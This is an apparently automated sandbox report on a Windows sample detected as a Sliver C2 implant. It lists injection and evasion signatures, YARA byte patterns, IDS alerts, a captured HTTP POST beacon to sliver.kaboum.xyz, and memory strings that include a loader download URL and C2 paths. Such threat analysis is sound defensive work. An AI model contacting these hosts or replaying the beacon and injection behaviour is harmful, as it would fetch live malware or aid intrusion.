Edit tour

Windows Analysis Report
WOlxr4yjgF.exe

Overview

General Information

Sample name:	WOlxr4yjgF.exe renamed because original name is a hash value
Original sample name:	16e0780398a97e9861cba770d4f1353236070f7d52b08fda43dc518b2bd98742.exe
Analysis ID:	1577180
MD5:	65f49e0bc3893c6e7cfd5a4a1da07b97
SHA1:	3a0a626e80caecbf404e0b0c8c760cb68a6600b8
SHA256:	16e0780398a97e9861cba770d4f1353236070f7d52b08fda43dc518b2bd98742
Tags:	exekaboum-xyzuser-JAMESWT_MHT
Infos:

Detection

Sliver

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Sliver Implants

AI detected suspicious sample

Allocates memory in foreign processes

Changes memory attributes in foreign processes to executable or writable

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Found direct / indirect Syscall (likely to bypass EDR)

Injects code into the Windows Explorer (explorer.exe)

Modifies the prolog of user mode functions (user mode inline hooks)

Performs DNS queries to domains with low reputation

Writes to foreign memory regions

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w10x64

WOlxr4yjgF.exe (PID: 7604 cmdline: "C:\Users\user\Desktop\WOlxr4yjgF.exe" MD5: 65F49E0BC3893C6E7CFD5A4A1DA07B97)

conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Sliver	According to VK9 Seecurity, Sliver is a Command and Control (C2) system made for penetration testers, red teams, and advanced persistent threats. It generates implants (slivers) that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, TCP, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.	No Attribution	https://asec.ahnlab.com/en/47088/ https://asec.ahnlab.com/en/55652/ https://asec.ahnlab.com/en/56941/ https://blog.cluster25.duskrise.com/2024/01/30/russian-apt-opposition https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.sliver

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x115b21b:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2998102835.000000001250C000.00000004.00000001.00020000.00000000.sdmp	Multi_Trojan_Bishopsliver_42298c4a	unknown	unknown	0x8135e:$a1: ).RequestResend 0x70a0b:$a2: ).GetPrivInfo
00000005.00000002.3002020019.000000C000138000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Sliver	Yara detected Sliver Implants	Joe Security
00000005.00000000.2017326875.0000000011260000.00000004.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x654310:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000005.00000002.3000252057.000000001356C000.00000002.10000000.00040000.00000000.sdmp	Multi_Trojan_Bishopsliver_42298c4a	unknown	unknown	0x80cd6:$a1: ).RequestResend 0x70383:$a2: ).GetPrivInfo
00000005.00000002.2997055833.0000000011260000.00000010.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x654310:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000000.00000003.2030512707.000001FF1D5EB000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x654350:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
Process Memory Space: explorer.exe PID: 2580	JoeSecurity_Sliver	Yara detected Sliver Implants	Joe Security
Process Memory Space: explorer.exe PID: 2580	Multi_Trojan_Bishopsliver_42298c4a	unknown	unknown	0x22f8de:$a1: ).RequestResend 0x2400f4:$a1: ).RequestResend 0x39c73f:$a1: ).RequestResend 0x3acf55:$a1: ).RequestResend 0x1f63a4:$a2: ).GetPrivInfo 0x21f49b:$a2: ).GetPrivInfo 0x363205:$a2: ).GetPrivInfo 0x38c2fc:$a2: ).GetPrivInfo
Click to see the 3 entries

Suricata Signatures

ETPRO MALWARE Sliver HTTP SessionInit Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:46:39.355802+0100	2852653	1	Malware Command and Control Activity Detected	192.168.2.4	49737	51.44.82.197	443	TCP

ETPRO MALWARE Sliver HTTP SessionInit Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:46:39.848423+0100	2852723	1	Malware Command and Control Activity Detected	51.44.82.197	443	192.168.2.4	49737	TCP

HTTP traffic detected: POST /oauth2/oauth/db/oauth2callback/namespaces/api/api.html?gu=58741670&n=232c3364x9 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Content-Length: 355Accept-Encoding: gzip

Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1AD07000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: WOlxr4yjgF.exe, 00000000.00000003.2002928596.000001FF1ADE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertG
Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1AD07000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1AD07000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1AD07000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crt
Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crtC
Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crtv
Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: WOlxr4yjgF.exe, 00000000.00000003.2002442586.000001FF1903C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: explorer.exe, 00000005.00000002.2990016814.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.2992460728.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.2990532277.0000000008720000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1HTTP/1.1HTTP/1.1User-AgenteAccept-L_=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lg=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lj=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lk=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3002020019.000000C000196000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Ln=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3002020019.000000C000072000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://1HTTP/1.1HTTP/1.1User-AgenteAccept-Lv=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3002020019.000000C0001A6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://EnableWindows=370905971HTTP/1.1EndDialoEndPaintHTTP/1.1eEndDialogEnumChildWindowsFindWindowW
Source: explorer.exe, 00000005.00000002.3002020019.000000C000072000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://a=500297351HTTP/1.1HTTP/1.1eUser-AgentAccept-La=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://a=7711n84121HTTP/1.1HTTP/1.1eUser-AgentAccept-La=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.2994680970.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000005.00000002.2988827931.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000005.00000002.2988827931.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000005.00000000.2015119531.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2994680970.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1ACB4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1ACB4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000005.00000002.2986436798.0000000001248000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2987438537.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2006381885.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2005521713.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000005.00000000.2011142176.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1ACB4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000000.2011142176.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://c=8c275l50481HTTP/1.1HTTP/1.1eUser-AgentAccept-Lc=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000005.00000000.2008226778.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000005.00000000.2008226778.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000005.00000002.2994680970.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://f=720f813211HTTP/1.1HTTP/1.1eUser-AgentAccept-Lf=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://h=603b2h12311HTTP/1.1HTTP/1.1eUser-AgentAccept-Lh=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3002020019.000000C000072000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://i=33f2583821HTTP/1.1HTTP/1.1eUser-AgentAccept-Li=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://i=9g69243101HTTP/1.1HTTP/1.1eUser-AgentAccept-Li=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000005.00000000.2008226778.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: WOlxr4yjgF.exe	String found in binary or memory: https://kaboum.xyz/artdonjon/loader.bin
Source: explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://m=59p4218801HTTP/1.1HTTP/1.1eUser-AgentAccept-Lm=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://o=y8t47644151HTTP/1.1HTTP/1.1eUser-AgentAccept-Lo=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.2994680970.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://p=49844141HTTP/1.1HTTP/1.1eUser-AgentAccept-Lp=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.2994680970.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2015119531.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000005.00000002.3007274226.000000C00049E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://q=13c0910451HTTP/1.1HTTP/1.1eUser-AgentAccept-Lq=Accept-LanguageAccept-Languageen-US
Source: explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://q=8_04158u451HTTP/1.1GetTempPathWHTTP/1.1eUser-AgentGetVersionAccept-Lq=Accept-LanguageLoadL
Source: explorer.exe, 00000005.00000000.2008226778.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2988827931.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: explorer.exe, 00000005.00000002.3002020019.000000C0001A6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz
Source: explorer.exe, 00000005.00000002.3007836339.000000C000580000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/
Source: explorer.exe, 00000005.00000002.3002020019.000000C00001A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/E.
Source: explorer.exe, 00000005.00000002.3002020019.000000C000182000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/GetSecurityDescriptorLength
Source: explorer.exe, 00000005.00000002.3008055947.000000C00061B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/app.js
Source: explorer.exe, 00000005.00000002.3008055947.000000C00061B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/app.js?s=37090597
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002DE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/backbone.js?b=70351513
Source: explorer.exe, 00000005.00000002.3002020019.000000C000282000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/db/db/oauth/oauth/database/api.php?f=5251i7520
Source: explorer.exe, 00000005.00000002.3002020019.000000C000282000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/db/db/oauth/oauth/database/api.php?f=5251i7520Mozilla/5.0
Source: explorer.exe, 00000005.00000002.3002020019.000000C00030C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/app.min.js?v=7759922
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/javascript/umd/javascripts/script.js?
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/javascript/umd/javascripts/script.js?i=33f258382
Source: explorer.exe, 00000005.00000002.3002020019.000000C0000B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/javascript/umd/javascripts/script.js?sliver.kaboum.xyz
Source: explorer.exe, 00000005.00000002.3002020019.000000C000055000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/javascripts/javascripts/javascripts/array.js?p=4984414
Source: explorer.exe, 00000005.00000002.3002020019.000000C000055000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/javascripts/javascripts/javascripts/array.js?p=4984414P
Source: explorer.exe, 00000005.00000002.3002020019.000000C00030C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/js/javascripts/backbone.js?
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/js/javascripts/backbone.js?i=95271830
Source: explorer.exe, 00000005.00000002.3002020019.000000C0002B4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/js/javascripts/backbone.js?i=95271830Mozilla/5.0
Source: explorer.exe, 00000005.00000002.3002020019.000000C000282000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/jscript/app.min.js?_=76p52a0964
Source: explorer.exe, 00000005.00000002.3002020019.000000C000282000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sliver.kaboum.xyz/javascript/jscript/app.min.js?_=76p52a0964Mozilla/5.0
